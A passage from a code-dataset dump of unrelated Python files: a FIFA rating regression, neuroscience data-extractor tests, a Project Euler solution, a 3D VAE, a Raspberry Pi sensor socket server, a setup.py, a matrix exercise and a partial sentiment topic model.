df_dummified[\"overall_rating\"]\r\n\r\nmodel = LinearRegression()\r\nmodel = model.fit(X, Y)\r\nmodel.score(X, Y)\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.3, random_state=50)\r\nmodel2 = LinearRegression()\r\nmodel2.fit(X_train, y_train)\r\npredicted = model2.predict(X_test)\r\n\r\n\r\nprint(\"The accuracy is= \\n\",metrics.r2_score(y_test, predicted))\r\n\r\n# Coefficients?\r\n\r\npd.DataFrame({\"features\": X.columns, \"co-efficients\": model.coef_})\r\n\r\nplt.scatter(y_test, predicted)\r\nplt.plot([40, 100], [40, 100], '--k')\r\nplt.xlabel(\"True overall score\")\r\nplt.ylabel(\"Predicted overall score\")\r\nplt.title(\"True vs Predicted overall score\")\r\nplt.show()\r\n\r\nplt.figure(figsize=(9,6))\r\nplt.scatter(model.predict(X_train), model.predict(X_train) - y_train, c='b', s=40, alpha=0.5)\r\nplt.scatter(model.predict(X_test), model.predict(X_test) - y_test, c='g', s=40, alpha=0.5)\r\nplt.hlines(y=0, xmin=30, xmax=100)\r\nplt.ylabel('Residuals')\r\nplt.title('Residual plot including training(blue) and test(green) data')\r\nplt.show()\r\n\r\n\r\n\r\nscores = cross_val_score(LinearRegression(), X, Y, cv=10)\r\nprint (\"Scored and mean \\n===\",scores, scores.mean())\r\n\r\npredictions = cross_val_predict(LinearRegression(), X, Y, cv=7)\r\nprint(metrics.r2_score(y_test, predicted))\r\n\r\n# Now Decision tree\r\nmodel = DecisionTreeRegressor()\r\nmodel = model.fit(X, Y)\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.3, random_state=0)\r\n\r\nmodel2 = DecisionTreeRegressor(random_state=0)\r\nmodel2.fit(X_train, y_train)\r\npredicted = model2.predict(X_test)\r\nprint (\"Accuracy score is\", round(metrics.r2_score(y_test, predicted) * 100, 2), '%')\r\n\r\nscores = cross_val_score(DecisionTreeRegressor(), X, Y, cv=10)\r\nscores, scores.mean()\r\n\r\npredictions = cross_val_predict(DecisionTreeRegressor(), X, Y, cv=7)\r\nr2_score = metrics.r2_score(y_test, predicted)\r\nprint(\"Accuracy after Cross validation: {}\".format(r2_score * 100))\r\n\r\nparameters = [{'max_depth': range(25, 30), 'min_samples_split': range(2, 10)}]\r\n\r\nreg = GridSearchCV(DecisionTreeRegressor(random_state=0), parameters, scoring='neg_mean_squared_error')\r\nreg.fit(X_train, y_train)\r\n\r\nprint(\"Best parameters set found on development set:\\n\")\r\nprint(reg.best_params_)\r\n\r\nprint(\"Accuracy for test data set:\\n\")\r\npredicted = reg.predict(X_test)\r\nprint(\"FInal accuracy now is = \\n\\n\",metrics.r2_score(y_test, predicted))\r\n\r\nprint (\"\\n=============Visualize============\\n\")\r\ncols = ['potential', 'crossing', 'finishing', 'heading_accuracy',\r\n 'short_passing', 'volleys', 'dribbling', 'curve', 'free_kick_accuracy',\r\n 'long_passing', 'ball_control', 'acceleration', 'sprint_speed',\r\n 'agility', 'reactions', 'balance', 'shot_power', 'jumping', 'stamina',\r\n 'strength', 'long_shots', 'aggression', 'interceptions', 'positioning',\r\n 'vision', 'penalties', 'marking', 'standing_tackle', 'sliding_tackle',\r\n 'gk_diving', 'gk_handling', 'gk_kicking', 'gk_positioning',\r\n 'gk_reflexes']\r\n\r\ncorrelations = [ df['overall_rating'].corr(df[f]) for f in cols ]\r\n\r\n# create a function for plotting a dataframe with string columns and numeric values\r\ndef plot_dataframe(df, y_label): \r\n color='coral'\r\n fig = plt.gcf()\r\n fig.set_size_inches(20, 12)\r\n plt.ylabel(y_label)\r\n\r\n ax = df2.correlation.plot(linewidth=3.3, color=color)\r\n ax.set_xticks(df2.index)\r\n ax.set_xticklabels(df2.attributes, rotation=75); #Notice the ; (remove it and see what happens !)\r\n plt.show()\r\n \r\n# create a dataframe using cols and correlations\r\ndf2 = pd.DataFrame({'attributes': cols, 'correlation': correlations}) \r\n\r\n# let's plot above dataframe using the function we created\r\nplot_dataframe(df2, 'Player\\'s Overall Rating')\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Project_2_Spider_1.py","file_name":"Project_2_Spider_1.py","file_ext":"py","file_size_in_byte":7925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"606419380","text":"import logging\nimport tempfile\nimport unittest\nfrom pathlib import Path\n\nimport numpy as np\n\nimport alf.extractors as ex\nimport ibllib.io.flags as flags\nfrom alf import transfer_rig_data\nfrom ibllib.io import raw_data_loaders as loaders\n\n\nclass TestExtractTrialData(unittest.TestCase):\n\n def setUp(self):\n self.session_path = Path(__file__).parent / 'data' / 'session'\n self.data = loaders.load_data(self.session_path)\n self.session_path_biased = Path(__file__).parent / 'data' / 'session_biased'\n self.data_biased = loaders.load_data(self.session_path_biased)\n self.wheel_path = Path(__file__).parent / 'data' / 'wheel'\n # turn off logging for unit testing as we will purposely go into warning/error cases\n self.logger = logging.getLogger('ibllib').setLevel(50)\n\n def test_stimOn_times(self):\n st = ex.training_trials.get_stimOn_times('', save=False, data=self.data)\n self.assertTrue(isinstance(st, np.ndarray))\n\n def test_encoder_positions_duds(self):\n dy = loaders.load_encoder_positions(self.session_path)\n self.assertEqual(dy.bns_ts.dtype.name, 'object')\n self.assertTrue(dy.shape[0] == 14)\n\n def test_encoder_events_duds(self):\n dy = loaders.load_encoder_events(self.session_path)\n self.assertEqual(dy.bns_ts.dtype.name, 'object')\n self.assertTrue(dy.shape[0] == 7)\n\n def test_encoder_positions_clock_reset(self):\n dy = loaders.load_encoder_positions(self.session_path)\n dat = np.array([849736, 1532230, 1822449, 1833514, 1841566, 1848206, 1853979, 1859144])\n self.assertTrue(np.all(np.diff(dy['re_ts']) > 0))\n self.assertTrue(all(dy['re_ts'][6:] - 2**32 - dat == 0))\n\n def test_encoder_positions_clock_errors(self):\n # here we test for 2 kinds of file corruption that happen\n # 1/2 the first sample time is corrupt and absurdly high and should be discarded\n # 2/2 2 samples are swapped and need to be swapped back\n dy = loaders.load_encoder_positions(self.session_path_biased)\n self.assertTrue(np.all(np.diff(np.array(dy.re_ts)) > 0))\n\n def test_wheel_folder(self):\n # the wheel folder contains other errors in bpod output that had to be addressed\n # 2 first samples timestamp AWOL instead of only one\n wf = self.wheel_path / '_iblrig_encoderPositions.raw.2firstsamples.ssv'\n df = loaders._load_encoder_positions_file(wf)\n self.assertTrue(np.all(np.diff(np.array(df.re_ts)) > 0))\n # corruption in the middle of file\n wf = self.wheel_path / '_iblrig_encoderEvents.raw.CorruptMiddle.ssv'\n df = loaders._load_encoder_events_file(wf)\n self.assertTrue(np.all(np.diff(np.array(df.re_ts)) > 0))\n\n def test_interpolation(self):\n # straight test that it returns an usable function\n ta = np.array([0., 1., 2., 3., 4., 5.])\n tb = np.array([0., 1.1, 2.0, 2.9, 4., 5.])\n finterp = ex.training_wheel.time_interpolation(ta, tb)\n self.assertTrue(np.all(finterp(ta) == tb))\n # next test if sizes are not similar\n tc = np.array([0., 1.1, 2.0, 2.9, 4., 5., 6.])\n finterp = ex.training_wheel.time_interpolation(ta, tc)\n self.assertTrue(np.all(finterp(ta) == tb))\n\n def test_choice(self):\n choice = ex.training_trials.get_choice(self.session_path)\n trial_nogo = np.array(\n [~np.isnan(t['behavior_data']['States timestamps']['no_go'][0][0])\n for t in self.data])\n self.assertTrue(all(choice[trial_nogo]) == 0)\n signed_contrast = np.array([t['signed_contrast'] for t in self.data])\n if not all(signed_contrast == 0):\n return\n else:\n # This will only fail is the mouse always answers with no go on a\n # 0% contrast OR if the choice has been extracted wrong\n self.assertTrue(any(choice[signed_contrast == 0] != 0))\n\n def test_goCue_times(self):\n gc_times = ex.training_trials.get_goCueOnset_times(self.session_path)\n self.assertTrue(not gc_times or gc_times)\n\n def test_contrastLR(self):\n cl, cr = ex.training_trials.get_contrastLR(self.session_path)\n self.assertTrue(all([np.sign(x) >= 0 for x in cl if ~np.isnan(x)]))\n self.assertTrue(all([np.sign(x) >= 0 for x in cr if ~np.isnan(x)]))\n self.assertTrue(sum(np.isnan(cl)) + sum(np.isnan(cr)) == len(cl))\n self.assertTrue(sum(~np.isnan(cl)) + sum(~np.isnan(cr)) == len(cl))\n cl, cr = ex.biased_trials.get_contrastLR(self.session_path_biased)\n self.assertTrue(all([np.sign(x) >= 0 for x in cl if ~np.isnan(x)]))\n self.assertTrue(all([np.sign(x) >= 0 for x in cr if ~np.isnan(x)]))\n self.assertTrue(sum(np.isnan(cl)) + sum(np.isnan(cr)) == len(cl))\n self.assertTrue(sum(~np.isnan(cl)) + sum(~np.isnan(cr)) == len(cl))\n\n\nclass TestTransferRigData(unittest.TestCase):\n def setUp(self):\n self.tmp_dir = tempfile.TemporaryDirectory()\n self.root_data_folder = Path(self.tmp_dir.name)\n self.session_path = self.root_data_folder / \"src\" / 'algernon' / '2019-01-21' / '001'\n self.session_path.mkdir(parents=True, exist_ok=True)\n flags.write_flag_file(self.session_path.joinpath(\"transfer_me.flag\"))\n (self.session_path / \"raw_behavior_data\").mkdir()\n (self.session_path / \"raw_video_data\").mkdir()\n (self.session_path / \"raw_behavior_data\" / '_iblrig_micData.raw.wav').touch()\n (self.session_path / \"raw_video_data\" / '_iblrig_leftCamera.raw.avi').touch()\n\n def test_transfer(self):\n src_subjects_path = self.root_data_folder / \"src\"\n dst_subjects_path = self.root_data_folder / \"dst\"\n transfer_rig_data.main(src_subjects_path, dst_subjects_path)\n gsrc = [x.name for x in list(src_subjects_path.rglob('*.*'))]\n gdst = [x.name for x in list(dst_subjects_path.rglob('*.*'))]\n self.assertTrue('extract_me.flag' in gdst)\n gdst = [x for x in gdst if x != 'extract_me.flag']\n self.assertTrue('compress_video.flag' in gdst)\n gdst = [x for x in gdst if x != 'compress_video.flag']\n self.assertTrue('_iblrig_micData.raw.wav' in gdst)\n gdst = [x for x in gdst if x != '_iblrig_micData.raw.wav']\n self.assertTrue('_iblrig_leftCamera.raw.avi' in gdst)\n gdst = [x for x in gdst if x != '_iblrig_leftCamera.raw.avi']\n\n self.assertEqual(gsrc, gdst)\n # Test if folder exists not copy because no flag\n transfer_rig_data.main(src_subjects_path, dst_subjects_path)\n transfer_rig_data.main(src_subjects_path, dst_subjects_path)\n # Test if flag exists and folder exists in dst\n flags.write_flag_file(self.session_path.joinpath(\"transfer_me.flag\"))\n (self.session_path / \"raw_behavior_data\" / '_iblrig_micData.raw.wav').touch()\n (self.session_path / \"raw_video_data\" / '_iblrig_leftCamera.raw.avi').touch()\n transfer_rig_data.main(src_subjects_path, dst_subjects_path)\n # Test transfer w/o video and audio\n flags.write_flag_file(self.session_path.joinpath(\"transfer_me.flag\"))\n (self.session_path / \"raw_behavior_data\" / \"random.data1.ext\").touch()\n transfer_rig_data.main(src_subjects_path, dst_subjects_path)\n\n def tearDown(self):\n self.tmp_dir.cleanup()\n\n\nif __name__ == \"__main__\":\n unittest.main(exit=False)\n","sub_path":"python/tests/alf/test_extractors.py","file_name":"test_extractors.py","file_ext":"py","file_size_in_byte":7398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"82416823","text":"#!/usr/bin/env python3\n\n\"\"\"Problem 112: Bouncy numbers\"\"\"\n\nfrom itertools import count\n\n\ndef main():\n\n bouncy = 0\n total = 100\n\n def is_bouncy(n):\n is_increasing = is_decreasing = False\n\n p = n % 10\n n //= 10\n\n while n:\n d = n % 10\n n //= 10\n\n if d > p:\n if is_increasing:\n return True\n is_decreasing = True\n elif d < p:\n if is_decreasing:\n return True\n is_increasing = True\n p = d\n\n return False\n\n for n in count(101):\n if is_bouncy(n):\n bouncy += 1\n total += 1\n\n if bouncy / total >= 0.99:\n return n\n\nif __name__ == \"__main__\":\n print(main())\n","sub_path":"python/p112.py","file_name":"p112.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"646438548","text":"#import numpy as np\nimport torch\nfrom torch import nn\n\nZ_DIMS = 64\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n#k = 64\n\nclass Vae64(nn.Module):\n def __init__(self):\n super(Vae64,self).__init__()\n self.relu = nn.ReLU()\n self.conv1 = nn.Conv3d(1 , 16, kernel_size=3, stride=2, padding=0)\n self.conv2 = nn.Conv3d(16, 16, kernel_size=3, stride=1, padding=0)\n self.conv3 = nn.Conv3d(16, 32, kernel_size=3, stride=2, padding=0)\n self.conv4 = nn.Conv3d(32, 32, kernel_size=3, stride=1, padding=0)\n self.conv5 = nn.Conv3d(32, 64, kernel_size=3, stride=2, padding=0)\n self.conv6 = nn.Conv3d(64, 64, kernel_size=3, stride=1, padding=0)\n self.conv7 = nn.Conv3d(64, 1 , kernel_size=1, stride=1, padding=0) \n self.fc_mu = nn.Linear(27,Z_DIMS)\n self.fc_logvar = nn.Linear(27,Z_DIMS)\n \n self.upconv1 = nn.ConvTranspose3d(1 ,64, kernel_size=4, stride=2, padding=0)\n self.upconv2 = nn.ConvTranspose3d(64,64, kernel_size=4, stride=1, padding=0)\n self.upconv3 = nn.ConvTranspose3d(64,32, kernel_size=4, stride=2, padding=0)\n self.upconv4 = nn.ConvTranspose3d(32,16, kernel_size=3, stride=1, padding=0)\n self.upconv5 = nn.ConvTranspose3d(16,16, kernel_size=4, stride=2, padding=0)\n self.upconv6 = nn.ConvTranspose3d(16,1, kernel_size=3, stride=1, padding=0)\n self.sigmoid = nn.Sigmoid()\n \n \n def encode(self, x):\n y = self.relu(self.conv1(x))\n y = self.relu(self.conv2(y))\n y = self.relu(self.conv3(y))\n y = self.relu(self.conv4(y))\n y = self.relu(self.conv5(y))\n y = self.relu(self.conv6(y))\n y = self.relu(self.conv7(y))\n# print('y', y.size())\n y = y.view(-1, 27)\n mu = self.fc_mu(y)\n logvar = self.fc_logvar(y)\n return mu, logvar\n \n def reparameterize(self, mu, logvar):\n eps = torch.randn([mu.size()[0], Z_DIMS]).to(device)\n std = logvar.mul(0.5).exp_()\n return eps.mul(std).add_(mu)\n \n def decode(self, z):\n z = z.view(-1, 1, 4, 4, 4)\n# print('z view',z.size())\n out = self.relu(self.upconv1(z))\n out = self.relu(self.upconv2(out))\n out = self.relu(self.upconv3(out))\n out = self.relu(self.upconv4(out))\n out = self.relu(self.upconv5(out))\n out = self.sigmoid(self.upconv6(out))\n return out\n \n def forward(self,x):\n mu, logvar = self.encode(x)\n z = self.reparameterize(mu, logvar)\n out = self.decode(z)\n return out, mu, logvar\n","sub_path":"src/VAEs/vae64.py","file_name":"vae64.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"560483423","text":"import threading\nimport socket\nimport time\nfrom datetime import date, time, datetime\nimport sys\nimport Adafruit_DHT\nimport subprocess\nimport pymysql\n\nMAX_USER = 10\nSERVER_IP = sys.argv[1]\nSERVER_PORT = int(sys.argv[2])\n\nDHT11_sensor = Adafruit_DHT.DHT11\nDHT11_pin = 2\n\nclass SimpleServer(threading.Thread):\n def __init__(self, IP, Port):\n threading.Thread.__init__(self)\n self.runFlag = True\n self.IP = IP\n self.Port = Port\n self.MainSocket = socket.socket()\n\n def stopServer(self):\n self.runFlag = False\n \n def run(self):\n self.MainSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n try:\n self.MainSocket.bind((self.IP, self.Port))\n except:\n exit()\n self.MainSocket.listen(MAX_USER)\n \n while self.runFlag == True:\n Connection, Address = self.MainSocket.accept()\n Service = SimpleServerService(Connection, Address)\n Service.start()\n now = datetime.now()\n print(\"\\n* [Server] New client \",Address,\" is Accepted!\" , \"\\n- Time: \" , str(now))\n \nclass DBThread(threading.Thread):\n def __init__(self):\n self.temp = temp\n self.humi = humi\n\n def CheckWlan(self):\n res = subprocess.check_output(\"iwconfig 2>&1 | grep ESSID\", shell=True)\n resStr = str(res, 'UTF-8')\n resSplit = resStr.split(\"ESSID:\")\n wlanStatus = resSplit[1]\n if \"off/any\" in wlanStatus:\n return False\n else:\n return True\n\n def run(self):\n if self.CheckWlan() is True:\n f = open('/home/pi/Python/SmartCage/ip.conf', 'r')\n line = f.readline()\n f.close()\n\n conn = pymysql.connect(host=line, port=3306, user='root', passwd='passwd', db='smartcage')\n cur = conn.cursor()\n cur.execute(\"select * from userinfo\")\n\n print(cur.description)\n\n try:\n humi, temp = Adafruit_DHT.read_retry(DHT11_sensor, DHT11_pin)\n finally:\n print(humi, temp)\n\n cur.close()\n conn.close()\n\nclass SimpleServerService(threading.Thread):\n def __init__(self, Connection, Address):\n threading.Thread.__init__(self)\n self.runFlag = True\n self.Connection = Connection\n self.Address = Address\n\n def getInformation(self):\n try:\n humidity, temperature = Adafruit_DHT.read_retry(DHT11_sensor, DHT11_pin)\n finally:\n return temperature, humidity\n\n def getTemperature(self):\n try:\n humidity, temperature = Adafruit_DHT.read_retry(DHT11_sensor, DHT11_pin)\n finally:\n return temperature\n\n def getHumidity(self):\n try:\n humidity, temperature = Adafruit_DHT.read_retry(DHT11_sensor, DHT11_pin)\n finally:\n return humidity \n def run(self):\n buffer = bytes(128)\n \n while self.runFlag == True:\n try:\n buffer = self.Connection.recv(128)\n buffer_str = buffer.decode(\"UTF-8\")\n #buffer_str = buffer_str[:(len(buffer_str) - 1)]\n now = datetime.now()\n\n if(buffer_str == \"\"):\n self.runFlag = False\n print(\"\\n* [Server] Client \",self.Address,\" is diconnected!\" , \"\\n- Time: \" , str(now))\n continue\n\n print(\"\\n* [Server]\",buffer_str, \"Received!\" , \"\\n- Client: \", self.Address, \"\\n- Time: \" , str(now))\n if(buffer_str == \"GET\"):\n self.Connection.send(bytes(\"Response to GET!\", \"UTF-8\"))\n elif(buffer_str == \"INFORMATION\\n\"):\n temperature, humidity = self.getInformation()\n if temperature is not None:\n if humidity is not None:\n data = \"i:\"+str(temperature)+\",\"+str(humidity)+\":e\"\n self.Connection.send(bytes(data, \"UTf-8\"))\n else:\n self.Connection.send(bytes(\"ERROR\", \"UTF-8\"))\n else:\n self.Connection.send(bytes(\"ERROR\", \"UTF-8\"))\n elif(buffer_str == \"TEMPERATURE\\n\"):\n temperature = self.getTemperature()\n if temperature is not None:\n data = \"t:\"+str(temperature)\n self.Connection.send(bytes(data, \"UTf-8\"))\n else:\n self.Connection.send(bytes(\"ERROR\", \"UTF-8\"))\n elif(buffer_str == \"HUMIDITY\\n\"):\n humidity = self.getHumidity()\n if humidity is not None:\n data = \"h:\"+str(humidity)\n self.Connection.send(bytes(data, \"UTF-8\"))\n else:\n self.Connection.send(bytes(\"ERROR\", \"UTF-8\"))\n else:\n self.Connection.send(bytes(\"Nothing!\", \"UTF-8\"))\n except:\n continue\n \nmyserver = SimpleServer(SERVER_IP, SERVER_PORT)\nmyserver.start()\n","sub_path":"RaspberryPi/SimpleServer.py","file_name":"SimpleServer.py","file_ext":"py","file_size_in_byte":5203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"120688269","text":"from setuptools import setup, find_packages\n\n\nVERSION = '1.47'\n\n\nsetup(name='thefuck',\n version=VERSION,\n description=\"Magnificent app which corrects your previous console command\",\n author='Vladimir Iakovlev',\n author_email='nvbn.rm@gmail.com',\n url='https://github.com/nvbn/thefuck',\n license='MIT',\n packages=find_packages(exclude=['ez_setup', 'examples',\n 'tests', 'release']),\n include_package_data=True,\n zip_safe=False,\n install_requires=['pathlib', 'psutil', 'colorama', 'six'],\n entry_points={'console_scripts': [\n 'thefuck = thefuck.main:main',\n 'thefuck-alias = thefuck.shells:app_alias']})\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"397283404","text":"# Диагонали, параллельные главной\n# Дано число n. Создайте массив размером n×n и \n# заполните его по следующему правилу. На главной \n# диагонали должны быть записаны числа 0. На двух \n# диагоналях, прилегающих к главной, числа 1. На \n# следующих двух диагоналях числа 2, и т.д.\n\ndef diag(n):\n n_list = []\n for i in range(n):\n n_list.append([])\n for j in range(n):\n n_list[i].append(abs(i - j))\n return n_list\n\nn_list = diag(int(input()))\nfor row in n_list:\n print(' '.join([str(elem) for elem in row]))","sub_path":"py/9. 2d_arrays/ex 4 diagonals.py","file_name":"ex 4 diagonals.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"169879072","text":"import numpy as np\nimport pandas as pd\nfrom collections import Counter\nfrom scipy.optimize import fmin_l_bfgs_b\nimport optimizeTopicVectors as ot\nfrom preprocess import *\n\ndef sampleFromDirichlet(alpha):\n return np.random.dirichlet(alpha)\n\ndef sampleFromCategorical(theta):\n # theta = theta / np.sum(theta)\n return np.random.multinomial(1, theta).argmax()\n\ndef word_indices(doc_sent_word_dict, sent_index):\n \"\"\"\n :param doc_sent_word_dict:\n :param sent_index:\n :return:\n \"\"\"\n sentence = doc_sent_word_dict[sent_index]\n for idx in sentence:\n yield idx\n\nclass STMD:\n def __init__(self, wordVectors, sentimentVector, numTopics, alpha, beta, gamma, binary=0.5, max_sentence=50, numSentiments=2):\n self.wordVectors = wordVectors # (V x H)\n self.numTopics = numTopics\n self.alpha = alpha\n self.beta = beta\n self.gamma = gamma\n self.numSentiments = numSentiments\n self.maxSentence = max_sentence\n self.dimension = self.wordVectors.shape[1] # H\n self.binary = binary #1 이면 embedding 정보만 활용\n self.sentimentVector = sentimentVector # (L x H)\n\n def build_dataset(self, reviews, sentiment_list):\n \"\"\"\n :param reviews: 리뷰 데이터 [ [[문서1의 문장1],[문서1의 문장2]], [[문서2의 문장1],[문서2의 문장2]], ...]]\n :return:\n \"\"\"\n corpus = [word for review in reviews for sentence in review for word in sentence]\n keywords = list(set(corpus))\n # text = nltk.Text(corpus)\n # freq = nltk.FreqDist(text)\n # keywords = [tup[0] for tup in freq.most_common(self.wordVectors.shape[0])]\n word2idx = {} # key : 단어, value : index\n for index, key in enumerate(keywords):\n word2idx[key] = index\n\n idx2word = dict(zip(word2idx.values(), word2idx.keys())) # key : index, value : 단어\n doc_sent_word_dict = {} # key: 문서 index, value : [[list of sent1 단어의 index], [list of sent2 단어의 index]...]\n numSentence = {} # key : 문서 index, value : 해당 문서의 문장수\n wordCountSentence = {} # key : 문서 index, value : 해당 문서의 각 문장별 word count\n docSentiment = {}\n for index, review in enumerate(reviews):\n doc_sent_lst = []\n doc_sent_count = []\n for sent in review:\n word_indices = [word2idx[word] for word in sent if word in word2idx]\n doc_sent_lst.append(word_indices)\n counts = Counter(word_indices)\n doc_sent_count.append(counts)\n numSentence[index] = len(doc_sent_lst)\n doc_sent_word_dict[index] = doc_sent_lst\n wordCountSentence[index] = doc_sent_count\n docSentiment[index] = sentiment_list[index]\n\n return word2idx, idx2word, doc_sent_word_dict, wordCountSentence, numSentence, docSentiment\n\n def _initialize_(self, reviews, pos_neg_sentence_indices, pos_neg_sentiment_label, sentiment_list):\n self.word2idx, self.idx2word, self.doc_sent_word_dict, self.wordCountSentence, \\\n self.numSentence, self.docSentiment = self.build_dataset(reviews, sentiment_list)\n self.numDocs = len(self.doc_sent_word_dict.keys())\n self.vocabSize = len(self.word2idx.keys())\n self.pos_neg_sentence_indices = pos_neg_sentence_indices\n self.pos_neg_sentiment_label = pos_neg_sentiment_label\n self.topicVectors = ot.orthogonal_matrix((self.numTopics, self.dimension))\n\n # Pseudocounts\n self.n_wkl = np.zeros((self.vocabSize, self.numTopics, self.numSentiments)) # 단어 i가 topic k, senti l로 할당된 수\n self.n_kl = np.zeros((self.numTopics, self.numSentiments)) # topic k, senti l로 할당된 단어 수\n self.ns_d = np.zeros((self.numDocs)) # 문서 d의 문장 수\n self.ns_dkl = np.zeros((self.numDocs, self.numTopics, self.numSentiments)) # 문서 d에서 topic k, sentiment l로 할당된 문장 수\n self.ns_dk = np.zeros((self.numDocs, self.numTopics)) # 문서 d에서 topic k로 할당된 문장 수\n self.topics = {}\n self.sentiments = {}\n self.pos_score_dict = {}\n\n alphaVec = self.alpha * np.ones(self.numTopics)\n gammaVec = self.gamma * np.ones(self.numSentiments)\n\n for d in range(self.numDocs):\n topicDistribution = sampleFromDirichlet(alphaVec)\n sentimentDistribution = np.zeros((self.numTopics, self.numSentiments))\n\n for t in range(self.numTopics):\n sentimentDistribution[t, :] = sampleFromDirichlet(gammaVec)\n\n for m in range(self.numSentence[d]):\n t = sampleFromCategorical(topicDistribution)\n # s = sampleFromCategorical(sentimentDistribution[t, :])\n # s = self.docSentiment[d]\n pos_score = np.dot(self.sentimentVector,\n self.wordVectors[self.doc_sent_word_dict[d][m]].T).sum(axis=1)\n s = np.argmax(pos_score)\n self.topics[(d, m)] = t # d 문서의 m번째 문장의 topic\n self.sentiments[(d, m)] = s # d 문서의 m 번째 문장의 sentiment\n self.ns_d[d] += 1\n self.ns_dkl[d, t, s] += 1\n self.ns_dk[d, t] += 1\n for i, w in enumerate(word_indices(self.doc_sent_word_dict[d], m)): # d번째 문서의 m번째 문장의 단어를 돌면서\n self.n_wkl[w, t, s] += 1 # w번째 단어가 topic은 t, sentiment s로 할당된 개수\n self.n_kl[t, s] += 1 # topic k, senti l로 할당된 단어 수\n\n def updateTopicVectors(self, lamda = 0.01):\n t = self.topicVectors # (K, H)\n for i in range(self.numTopics):\n x0 = t[i, :]\n x, f, d = fmin_l_bfgs_b(ot.loss, x0, fprime=ot.grad, args=(self.n_wkl, self.wordVectors, lamda), maxiter=15000)\n t[i, :] = x\n self.topicVectors = t\n\n\n def sampling(self, d, m):\n t = self.topics[(d, m)]\n s = self.sentiments[(d, m)]\n self.ns_d[d] -= 1\n self.ns_dkl[d, t, s] -= 1\n self.ns_dk[d, t] -= 1\n for i, w in enumerate(word_indices(self.doc_sent_word_dict[d], m)):\n self.n_wkl[w, t, s] -= 1 # w번째 단어가 topic은 t, sentiment s로 할당된 개수\n self.n_kl[t, s] -= 1 # topic k, senti l로 할당된 단어 수\n\n firstFactor = np.ones((self.numTopics, self.numSentiments))\n\n word_count = self.wordCountSentence[d][m]\n for t in range(self.numTopics):\n for s in range(self.numSentiments):\n beta0 = self.n_kl[t][s] + self.beta\n m0 = 0\n for word in word_count.keys():\n betaw = self.n_wkl[word, t, s] + self.beta\n cnt = word_count[word]\n for i in range(cnt):\n firstFactor[t][s] *= (betaw + i) / (beta0 + m0)\n m0 += 1\n\n topic_similarity = ot.softmax(np.dot(self.topicVectors,\n self.wordVectors[\n self.doc_sent_word_dict[d][m]].T)) # ( K x num words in sentence)\n senti_similarity = ot.softmax(np.dot(self.sentimentVector,\n self.wordVectors[\n self.doc_sent_word_dict[d][m]].T)) # ( L x num words in sentence)\n vector_similarity = ot.softmax(np.dot(topic_similarity, senti_similarity.T))\n\n firstFactor = firstFactor * vector_similarity # dim(K x L)\n\n secondFactor = (self.ns_dk[d, :] + self.alpha) / \\\n (self.ns_d[d] + self.numTopics * self.alpha) # dim(K x 1)\n\n thirdFactor = (self.ns_dkl[d, :, :] + self.gamma) / \\\n (self.ns_dk[d] + self.numSentiments * self.gamma)[:, np.newaxis]\n\n prob = np.ones((self.numTopics, self.numSentiments))\n prob *= firstFactor * thirdFactor\n prob *= secondFactor[:, np.newaxis]\n prob /= np.sum(prob)\n\n ind = sampleFromCategorical(prob.flatten())\n t, s = np.unravel_index(ind, prob.shape)\n\n self.topics[(d, m)] = t\n self.sentiments[(d, m)] = s\n self.ns_d[d] += 1\n self.ns_dkl[d, t, s] += 1\n self.ns_dk[d, t] += 1\n for i, w in enumerate(word_indices(self.doc_sent_word_dict[d], m)):\n self.n_wkl[w, t, s] += 1 # w번째 단어가 topic은 t, sentiment s로 할당된 개수\n self.n_kl[t, s] += 1 # topic k, senti l로 할당된 단어 수\n\n def calculatePhi(self):\n firstFactor = (self.n_wkl + self.beta) / \\\n np.expand_dims(self.n_kl + self.n_wkl.shape[0] * self.beta, axis=0)\n\n topic_similarity = ot.softmax(np.dot(self.topicVectors,\n self.wordVectors.T)) # ( K x V)\n senti_similarity = ot.softmax(np.dot(self.sentimentVector,\n self.wordVectors.T)) # ( L x V)\n vector_similarity = ot.softmax(np.dot(topic_similarity, senti_similarity.T)) # K x L\n\n firstFactor = firstFactor * np.expand_dims(vector_similarity, axis=0)\n firstFactor /= firstFactor.sum()\n return firstFactor\n\n def calculateTheta(self):\n secondFactor = (self.ns_dk + self.alpha) / \\\n np.expand_dims(self.ns_d + self.numTopics * self.alpha, axis=1) # dim(K x 1)\n secondFactor /= secondFactor.sum()\n return secondFactor\n\n def calculatePi(self):\n thirdFactor = (self.ns_dkl + self.gamma) / \\\n np.expand_dims(self.ns_dk + self.numSentiments * self.gamma, axis=2)\n thirdFactor /= thirdFactor.sum()\n return thirdFactor\n\n\n def getTopKWordsByLikelihood(self, K):\n \"\"\"\n Returns top K discriminative words for topic t and sentiment s\n ie words v for which p(t, s | v) is maximum\n \"\"\"\n pseudocounts = np.copy(self.n_wkl)\n normalizer = np.sum(pseudocounts, (1, 2))\n pseudocounts /= normalizer[:, np.newaxis, np.newaxis]\n for t in range(self.numTopics):\n for s in range(self.numSentiments):\n topWordIndices = pseudocounts[:, t, s].argsort()[-1:-(K + 1):-1]\n print(t, s, [self.idx2word[i] for i in topWordIndices])\n\n def getTopKWordsByTS(self, K):\n \"\"\"\n K 개 sentiment별 top words\n \"\"\"\n topic_sentiment_arr = self.calculatePhi()\n dic = {}\n for t in range(self.numTopics):\n for s in range(self.numSentiments):\n index_list = np.argsort(-topic_sentiment_arr[:, t, s])[:K]\n if s == 0:\n name = \"p\"\n else:\n 